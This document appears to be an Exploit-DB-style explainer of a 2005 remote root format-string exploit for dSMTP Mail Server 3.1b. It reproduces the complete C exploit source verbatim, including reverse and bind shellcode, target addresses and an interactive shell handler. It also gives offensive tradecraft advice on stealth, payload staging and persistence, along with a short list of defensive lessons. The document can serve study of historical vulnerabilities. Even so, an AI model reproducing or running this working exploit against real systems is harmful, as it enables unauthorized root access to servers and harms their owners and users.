dSMTP Mail Server 3.1b (Linux) Format String Exploit Explained

dSMTP Mail Server 3.1b (Linux) Format String Exploit Explained
What this paper is
This paper details a remote exploit for dSMTP Mail Server version 3.1b running on Linux. The exploit targets a format string vulnerability within the xtellmail command. Successful exploitation allows an attacker to gain remote root privileges on the vulnerable server. The exploit provides two shellcode options: a bind shell and a connect-back (reverse) shell.
Simple technical breakdown
The core of the vulnerability lies in how the xtellmail command handles user-supplied input without proper sanitization. Specifically, it appears to use user input directly in a printf-like function, allowing an attacker to inject format specifiers (like %x, %s, %n).
The exploit leverages this by:
- Overwriting Return Addresses: By carefully crafting a string with format specifiers, the attacker can write arbitrary data to specific memory locations. This is used to overwrite the return address on the stack, redirecting program execution.
- Executing Shellcode: The overwritten return address points to injected shellcode. This shellcode is designed to establish a shell connection back to the attacker or create a listening port on the victim.
- Memory Leaks/Information Disclosure: Format string vulnerabilities can often leak memory addresses, which are crucial for calculating offsets and determining the exact memory locations to target.
The exploit identifies specific memory addresses (smashaddr and writeaddr) that are critical for overwriting the return address and achieving code execution. It also notes limitations like "bad chars" (characters that cannot be present in the shellcode, such as null bytes or spaces) and a limited buffer size for remote exploitation.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down its components:
1. Includes and Definitions:
- Standard C libraries for networking, file operations, and system calls.
NOP(0x90): A common instruction used for padding and creating a "NOP sled" to ensure execution lands within the shellcode.- Color definitions for terminal output.
2. Function Declarations:
connect_to_remote_host: Establishes a TCP connection to the target SMTP server.exploit: Constructs and sends the malicious payload.shell: Handles the interactive shell session after successful exploitation.usage: Displays help information.start_reverse_handler: Listens for incoming connections from the connect-back shellcode.connect_to_bindshell: Connects to a bind shell established by the exploit.header: Prints the ASCII art banner.wait: A simple sleep function.parse_arguments: Parses command-line arguments.
3. Shellcode Definitions:
reverseshell[]: This is the Linux x86 shellcode for a connect-back shell. It's 131 bytes long and designed to connect back to a specified IP address and port (45295 in this case).- Stage 1 (Socket Creation & Connection):
\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80: This sequence sets up system call arguments forsocket(AF_INET, SOCK_STREAM, IPPROTO_IP). It creates a socket.\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80: This part prepares for theconnectsystem call. It sets up the target IP address (which will be patched later) and port (0xb0ef, which is 45295 decimal). The68 41 42 43 44are placeholders for the attacker's IP address.
- Stage 2 (Redirection & Shell):
\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80: This section checks if theconnectsystem call was successful. If not, it exits.\x31\xc0\xb0\x3f\x89\xd3\xcd\x80: This prepares for thedup2system call to redirect standard input, output, and error to the connected socket.\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80: Anotherdup2call.\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80: A thirddup2call.\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80: This is theexecvesystem call to execute/bin/sh. It prepares the arguments forexecve("/bin/sh", ["/bin/sh", NULL], NULL).\x31\xc0\xb0\x01\xcd\x80: This is a fallbackexit(1)call ifexecvefails.
- Stage 1 (Socket Creation & Connection):
bindshell[]: This is the Linux x86 shellcode for a bind shell. It's 129 bytes long and designed to listen on a specific port (3879) and spawn a shell when a connection is made.- Stage 1 (Socket Creation & Binding):
\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80: Sets up arguments forsocket(AF_INET, SOCK_STREAM, IPPROTO_IP)andbind(sock, &addr, sizeof(addr)). It binds to port 3879 (0x0f27).
- Stage 2 (Listening & Accepting):
\x31\xc9\x89\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x45\xf0\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd\x80: Sets up arguments forlisten(sock, 1)andaccept(sock, &addr, &addrlen).
- Stage 3 (Redirection & Shell):
\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80:dup2calls to redirect stdin, stdout, stderr to the accepted connection.\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh:execvecall to execute/bin/sh.
- Stage 1 (Socket Creation & Binding):
4. args struct:
- A simple structure to hold parsed command-line arguments: target IP (
tip), listener IP (lip), target port (tport), and target type (target).
5. targets struct array:
- Defines known vulnerable configurations.
target[0]:num=0,smashaddr=0x08116844(likely a GOT entry forstrchr),writeaddr=0xbffe51f8(a stack address),name="SuSE Linux 9.0 (i586) - 2.4.21-99-athlon". This is the primary target.target[1]:num=1,smashaddr=0x08116844,writeaddr=0xdeadc0de(a placeholder).
6. connect_to_remote_host function:
- Takes target IP and port.
- Resolves the hostname using
gethostbyname. - Creates a TCP socket.
- Connects to the target.
- Reads the initial banner from the server and prints it.
- Returns the socket descriptor.
7. exploit function:
- Takes the socket descriptor,
smashaddr,writeaddr, and attacker's IP (cbip). - Password: Contains a hardcoded password
"522295153136689045". This is likely a password required by thextellmailcommand. This needs to be changed by the user. - Address Calculation:
a, b, c, d: Extracts the bytes ofsmashaddr(the address to overwrite).high, low: Extracts the high and low 16-bit words ofwriteaddr(the address where the shellcode will be).
- Payload Construction:
sprintf(buffer, "xtellmail %s X ...", pass, ...): This is the core of the exploit. It constructs the command string."%c%c%c%c": These are used to write the bytes ofsmashaddrto memory. The+2offset on the first byte (d+2) is a common technique in format string exploits to account for potential null bytes or alignment issues when writing."%%.%uu%%1295$hn"and"%%.%uu%%1296$hn": These are the crucial format specifiers.%n: Writes the number of bytes printed so far to a memory address. This is how arbitrary memory is overwritten.%u: Used to print a large number of characters to reach the desired offset for the%nspecifier.$: Indicates a positional parameter.1295$hnmeans "write to the 1295th argument passed toprintf". This is how the exploit targets specific locations on the stack or in memory.- The logic
if (high < low)andelsehandles the order of writing the high and low parts ofwriteaddr, depending on their values, to correctly overwrite the target address. The-40offset is likely to account for other data on the stack before the target return address.
- NOP Sled:
memset(buffer + strlen(buffer), NOP, 180);adds a NOP sled before the shellcode to increase the chances of hitting the shellcode if the exact jump address is slightly off. - Shellcode Injection:
if (cbip == NULL) memcpy(buffer + 110, bindshell, sizeof(bindshell) -1);: If no attacker IP is provided, the bind shellcode is injected.else { ulcbip = inet_addr(cbip); memcpy(&reverseshell[33], &ulcbip, 4); memcpy(buffer + 110, reverseshell, sizeof(reverseshell) -1); }: If an attacker IP (cbip) is provided, it's converted to an integer and patched into thereverseshellshellcode at offset 33 (where the target IP forconnectis located). Then, the modifiedreverseshellis injected.
- Termination:
strncat(buffer, "\r\n", 2);adds the necessary carriage return and newline characters to terminate the SMTP command. - Sends the constructed
bufferover the socket.
8. shell function:
- Takes the socket descriptor and target IP.
- Prints a "pwned" message.
- Sends a command
unset HISTFILE;uname -a;id;\nto get basic system information. - Enters a loop using
selectto monitor both the socket (s) and standard input (0). - If data is received from the socket, it's printed to standard output.
- If data is entered on standard input, it's sent to the remote socket.
- This creates an interactive shell session.
9. usage function:
- Prints the correct command-line syntax and lists the available targets with their addresses.
10. connect_to_bindshell function:
- Takes target IP and bind port.
- Waits for a specified duration (
sec) to give the bind shell time to start. - Connects to the target IP and port where the bind shell is listening.
- If successful, it calls the
shellfunction to provide an interactive session.
11. header function:
- Prints the ASCII art banner.
12. parse_arguments function:
- Uses
getoptto parse command-line arguments:-h: Target IP address.-p: Target port.-l: Attacker's IP address for connect-back shellcode.-t: Target type (index into thetargetarray).
- Validates that all required arguments are provided.
13. start_reverse_handler function:
- Takes the port for the reverse handler.
- Creates a listening socket on the attacker's machine.
- Waits for an incoming connection (
accept). - Once a connection is established (from the victim's connect-back shellcode), it calls the
shellfunction to provide an interactive session.
14. wait function:
- A simple wrapper around
sleep().
15. main function:
- Clears the screen and prints the header.
- Parses command-line arguments.
- Connects to the remote dSMTP server.
- Prompts the user to select between bind shell (option 0) and connect-back shell (option 1).
- Note: The bind shell option is commented out with a message "sorry, does not work yet :/\n".
- Calls
exploitwith the appropriate parameters based on the chosen target and shellcode type. - If the exploit is successful, it either starts the reverse handler or attempts to connect to the bind shell.
- Closes the initial connection.
Mapping list: code fragment/block -> practical purpose
reverseshell[]-> Linux x86 shellcode for establishing a reverse TCP connection to the attacker.bindshell[]-> Linux x86 shellcode for creating a listening TCP port on the victim that spawns a shell.target[]array -> Predefined memory addresses and descriptions for different dSMTP versions/configurations, enabling the exploit to target specific memory layouts.exploit()function -> Orchestrates the construction and delivery of the format string payload.sprintf(buffer, "xtellmail %s X ...", pass, ...)-> The core payload construction, including the vulnerable command and the attacker-controlled data."%c%c%c%c"sequence insprintf-> Used to write specific bytes of the target address (smashaddr) into memory."%%.%uu%%1295$hn"and"%%.%uu%%1296$hn"-> The critical format string specifiers that write to memory locations, used to overwrite the return address or other critical data.memset(buffer + strlen(buffer), NOP, 180);-> Creates a NOP sled to increase the reliability of shellcode execution.memcpy(buffer + 110, reverseshell, ...)ormemcpy(buffer + 110, bindshell, ...)-> Injects the chosen shellcode into the payload buffer.start_reverse_handler()-> Sets up a listener on the attacker's machine to receive the incoming connection from the reverse shell.connect_to_bindshell()-> Initiates a connection to the port opened by the bind shell on the victim.shell()-> Provides an interactive command-line interface once a shell connection is established.main()-> Entry point, handles argument parsing, initial connection, user interaction for shellcode choice, and calls the exploit.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host on the SMTP port (default 25). No local access is required for this remote exploit.
- Lab Preconditions:
- A vulnerable dSMTP Mail Server 3.1b instance running on Linux. This can be set up in a lab environment using older Linux distributions and installing the specific dSMTP version.
- An attacker machine with the exploit code compiled and ready.
- Network connectivity between the attacker and the target.
- For connect-back shellcode, the attacker machine needs to be listening on the specified port (45295 by default).
- For bind shellcode (if it were functional), the target would need to be reachable on the bind port (3879 by default).
- Tooling Assumptions:
- A Linux or Unix-like system to compile and run the C exploit.
- A C compiler (e.g.,
gcc). - Standard networking utilities.
- Execution Pitfalls:
- Target Specificity: The
smashaddrandwriteaddrvalues are highly specific to the target system's memory layout, including the exact dSMTP version, Linux kernel version, and loaded libraries. Different environments will require different addresses. The providedtarget[]array is a starting point, but may need adjustment. - Bad Characters: The exploit notes
0x00,0x20,0x0aas bad characters. This means these bytes cannot appear in the shellcode. This is a common constraint for shellcode and can make writing shellcode more complex. The provided shellcode is likely crafted to avoid these. - Buffer Size: The "remote buffer space is about 256 bytes" indicates a limited space for the payload. The exploit must fit within this constraint, including the command, password, format string, NOP sled, and shellcode.
- Network Latency/Reliability: Unreliable network conditions can cause the exploit packet to be dropped or corrupted, leading to failure.
- Firewalls: Network firewalls might block the initial connection to port 25, or the return connection for the reverse shell (port 45295), or the bind shell port (3879).
- ASLR/DEP: Modern systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP), which would make this exploit significantly harder or impossible to use without further techniques (e.g., information leaks to bypass ASLR, ROP chains for DEP). This exploit is from 2005, predating widespread adoption of these defenses.
- Password: The hardcoded password
522295153136689045must be correct for the target instance of dSMTP. If it's different, the exploit will fail. - Bind Shell Functionality: The comment "bindc0de breaks somehow, cb works fine!" indicates that the bind shellcode might not be reliable or functional in the provided code. The connect-back shell is the primary tested option.
- Target Specificity: The
- Tradecraft Considerations:
- Reconnaissance: Before attempting exploitation, thorough reconnaissance is needed to identify the dSMTP version and underlying OS. Banner grabbing and protocol analysis are key.
- Payload Staging: For more complex scenarios or to bypass network restrictions, the shellcode could be staged (e.g., a small stub that downloads a larger payload).
- Stealth: Exploiting on port 25 is generally less suspicious than other ports, but the connection itself can be logged. The use of a reverse shell is often preferred for stealth as it initiates communication from the victim to the attacker, potentially bypassing ingress filtering.
- Persistence: Once a shell is obtained, establishing persistence (e.g., creating a new user, adding a cron job, modifying startup scripts) would be the next step for maintaining access.
- Privilege Escalation: The exploit grants root privileges directly, so no further privilege escalation is needed if the target addresses are correct for a root-level exploit.
Where this was used and when
- Approximate Year: The exploit was published on May 5, 2005.
- Context: This exploit targets a specific, older version of dSMTP Mail Server (3.1b) on Linux. It was likely used in the wild by attackers targeting systems running this vulnerable software. Its primary use was in unauthorized access scenarios. The publication date suggests it was relevant during the mid-2000s. It's unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping software updated. Vulnerabilities like this are patched in newer versions. Regularly patching mail servers and all network-facing services is paramount.
- Input Validation: Applications must rigorously validate and sanitize all user-supplied input, especially when it's used in functions that interpret data (like
printf). Avoid using user input directly in format strings. - Secure Coding Practices: Developers should be trained on secure coding practices to prevent common vulnerabilities like buffer overflows and format string bugs. Static and dynamic analysis tools can help identify such issues.
- Network Segmentation: Isolating critical services like mail servers on separate network segments can limit the blast radius of an exploit.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network-based IDS/IPS can potentially detect the malicious SMTP commands or the characteristic patterns of format string exploits, though signature-based detection might be challenging for custom exploits.
- Host-Based Intrusion Detection (HIDS): HIDS can monitor for unexpected process behavior, file modifications, or unusual system calls that might indicate a compromise.
- Memory Protections (ASLR/DEP): Modern operating systems employ ASLR and DEP, which significantly mitigate the effectiveness of classic stack-based buffer overflow and format string exploits by making it harder to predict and execute arbitrary code. Ensuring these protections are enabled and effective is crucial.
- Logging and Monitoring: Comprehensive logging of SMTP traffic and system events, coupled with effective monitoring and alerting, can help detect and respond to exploitation attempts.
ASCII visual (if applicable)
This exploit is primarily a network-based attack targeting a single service. A simple flow diagram can illustrate the interaction:
+-----------------+ +-------------------------+ +-----------------+
| Attacker Machine| ----> | dSMTP Server (Vulnerable)| ----> | Attacker Machine|
| (Exploit Client)| | (Port 25) | | (Reverse Handler)|
+-----------------+ +-------------------------+ +-----------------+
| |
| 1. Connect & Send | 3. Execute Shellcode
| Exploit Payload | (e.g., connect back)
| |
| v
| +-----------------+
| | Shellcode |
| | (e.g., /bin/sh) |
| +-----------------+
| |
| | 4. Establish Shell
| | Connection
| v
+-----------------------+Explanation:
- The attacker's machine connects to the dSMTP server on port 25 and sends a specially crafted payload containing the format string vulnerability exploit and shellcode.
- The vulnerable dSMTP server processes the
xtellmailcommand, triggering the format string vulnerability. - The exploit overwrites the return address on the stack, causing the server to jump to the injected shellcode.
- The shellcode executes, typically establishing a reverse connection back to the attacker's machine on a predefined port (e.g., 45295).
- The attacker's reverse handler on their machine accepts this connection, providing an interactive shell session.
Source references
- PAPER ID: 981
- PAPER TITLE: dSMTP Mail Server 3.1b (Linux) - Format String
- AUTHOR: cybertronic
- PUBLISHED: 2005-05-05
- KEYWORDS: Linux,remote
- PAPER URL: https://www.exploit-db.com/papers/981
- RAW URL: https://www.exploit-db.com/raw/981
Original Exploit-DB Content (Verbatim)
/*
* dSMTP - SMTP Mail Server 3.1b Linux Remote Root Format String Exploit
*
* cybertronic[at]gmx[dot]net
*
* 05/05/2005
*
* This exploits the "xtellmail" command!
*
* bindc0de breaks somehow, cb works fine!
* remote buffer space is about 256 bytes
* bad chars: 0x00, 0x20, 0x0a and prolly more
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* NOTE: before you start, change the password in function exploit () *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* [ cybertronic @ dsmtp ] # ./dmail_expl -h 192.168.2.50 -p 25 -l 192.168.2.40 -t 0
*
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ connecting to 192.168.2.50:25...done!
*
* --[ 220 linux.local DSMTP ESMTP Mail Server
*
* --[ select shellcode
* |
* |- [0] bind
* `- [1] cb
* >> 1
* --[ using cb shellcode
* --[ GOT: 0x08116844
* --[ RET: 0xbffe51f8
* --[ sending packet [ 252 bytes ]...done!
* --[ starting reverse handler [port: 45295]...done!
* --[ incomming connection from: 192.168.2.50
* --[ b0x pwned - h4ve phun
* Linux linux 2.4.21-99-athlon #1 Wed Sep 24 13:34:32 UTC 2003 i686 athlon i386 GNU/Linux
* uid=0(root) gid=0(root) groups=0(root)
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define NOP 0x90
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
int shell ( int s, char* tip );
int usage ( char* name );
void start_reverse_handler ( unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );
/***********************
* Linux x86 Shellcode *
***********************/
//131 bytes connect back shellcode, port: 45295
char reverseshell[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
//129 bytes bind shellcode, port 3879
char bindshell[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0"
"\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc"
"\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66"
"\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45"
"\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89"
"\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0"
"\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45"
"\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff"
"\xff\xff/bin/sh";
typedef struct _args {
char* tip;
char* lip;
int tport;
int target;
} args;
struct targets {
int num;
unsigned long smashaddr;
unsigned long writeaddr;
char name[64];
}
target[]= {
{ 0, 0x08116844, 0xbffe51f8, "SuSE Linux 9.0 (i586) - 2.4.21-99-athlon" }, //08116844 R_386_JUMP_SLOT strchr
{ 1, 0x08116844, 0xdeadc0de, "description" }
};
int
connect_to_remote_host ( char* tip, unsigned short tport )
{
int s;
char in[1024];
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
printf ( "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( tport );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", tip, tport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
bzero ( &in, sizeof ( in ) );
if ( read ( s, in, sizeof ( in ) ) <= 0 )
{
printf ( "read failed!\n" );
return ( 1 );
}
printf ( "\n--[ %s\n", in );
return ( s );
}
int
exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
{
char buffer[512];
char a, b, c, d;
unsigned int low, high, cyber, tronic;
unsigned long ulcbip;
/***** change the password! *****/
char* pass = "522295153136689045";
/********************************/
printf ( "--[ GOT: 0x%08x\n", smashaddr );
printf ( "--[ RET: 0x%08x\n", writeaddr );
a = ( smashaddr & 0xff000000 ) >> 24;
b = ( smashaddr & 0x00ff0000 ) >> 16;
c = ( smashaddr & 0x0000ff00 ) >> 8;
d = ( smashaddr & 0x000000ff );
high = ( writeaddr & 0xffff0000 ) >> 16;
low = ( writeaddr & 0x0000ffff );
bzero ( &buffer, sizeof ( buffer ) );
if ( high < low )
{
printf ( "1\n" );
sprintf ( buffer,
"xtellmail %s X"
"%c%c%c%c"
"%c%c%c%c"
"%%.%uu%%1295$hn"
"%%.%uu%%1296$hn",
pass,
d + 2, c, b, a,
d, c, b, a,
high - 40,
low - high );
}
else
{
sprintf ( buffer,
"xtellmail %s X"
"%c%c%c%c"
"%c%c%c%c"
"%%.%uu%%1296$hn"
"%%.%uu%%1295$hn",
pass,
d + 2, c, b, a,
d, c, b, a,
low - 40,
high - low );
}
memset ( buffer + strlen ( buffer ), NOP, 180 );
if ( cbip == NULL )
memcpy ( buffer + 110, bindshell, sizeof ( bindshell ) -1 );
else
{
ulcbip = inet_addr ( cbip );
memcpy ( &reverseshell[33], &ulcbip, 4 );
memcpy ( buffer + 110, reverseshell, sizeof ( reverseshell ) -1 );
}
strncat ( buffer, "\r\n", 2 );
printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( "failed!\n" );
return ( 1 );
}
printf ( "done!\n" );
return ( 0 );
}
int
shell ( int s, char* tip )
{
int n;
char* cmd = "unset HISTFILE;uname -a;id;\n";
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
if ( write ( s, cmd, strlen ( cmd ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
int
usage ( char* name )
{
int i;
printf ( "\n" );
printf ( "Note: all switches have to be specified!\n" );
printf ( "You can choose between bind and cb shellcode later!\n" );
printf ( "\n" );
printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
printf ( "\n" );
printf ( "Targets\n\n" );
for ( i = 0; i < 2; i++ )
printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, target[i].smashaddr, target[i].writeaddr, target[i].name );
printf ( "\n" );
exit ( 1 );
}
void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip );
}
void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}
void
parse_arguments ( int argc, char* argv[], args* argp )
{
int i = 0;
while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
{
switch ( i )
{
case 'h':
argp->tip = optarg;
break;
case 'p':
argp->tport = atoi ( optarg );
break;
case 'l':
argp->lip = optarg;
break;
case 't':
argp->target = strtoul ( optarg, NULL, 16 );
break;
case ':':
case '?':
default:
usage ( argv[0] );
}
}
if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL || argp->target < 0 || argp->target > 1 )
usage ( argv[0] );
}
void
start_reverse_handler ( unsigned short cbport )
{
int s1, s2;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );
printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
close ( s2 );
}
void
wait ( int sec )
{
sleep ( sec );
}
int
main ( int argc, char* argv[] )
{
int s, option;
args myargs;
system ( "clear" );
header ();
parse_arguments ( argc, argv, &myargs );
s = connect_to_remote_host ( myargs.tip, myargs.tport );
printf ( "--[ select shellcode\n" );
printf ( " |\n" );
printf ( " |- [0] bind\n" );
printf ( " `- [1] cb\n" );
printf ( ">> " );
scanf ( "%d", &option );
switch ( option )
{
case 0:
printf ( "--[ sorry, does not work yet :/\n" );
/*
printf ( "--[ using bind shellcode\n" );
if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 )
{
printf ( "exploitation failed!\n" );
exit ( 1 );
}
connect_to_bindshell ( myargs.tip, 3879 );
*/
break;
case 1:
printf ( "--[ using cb shellcode\n" );
if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) == 1 )
{
printf ( "exploitation failed!\n" );
exit ( 1 );
}
start_reverse_handler ( 45295 );
break;
default:
printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
}
close ( s );
return 0;
}
// milw0rm.com [2005-05-05]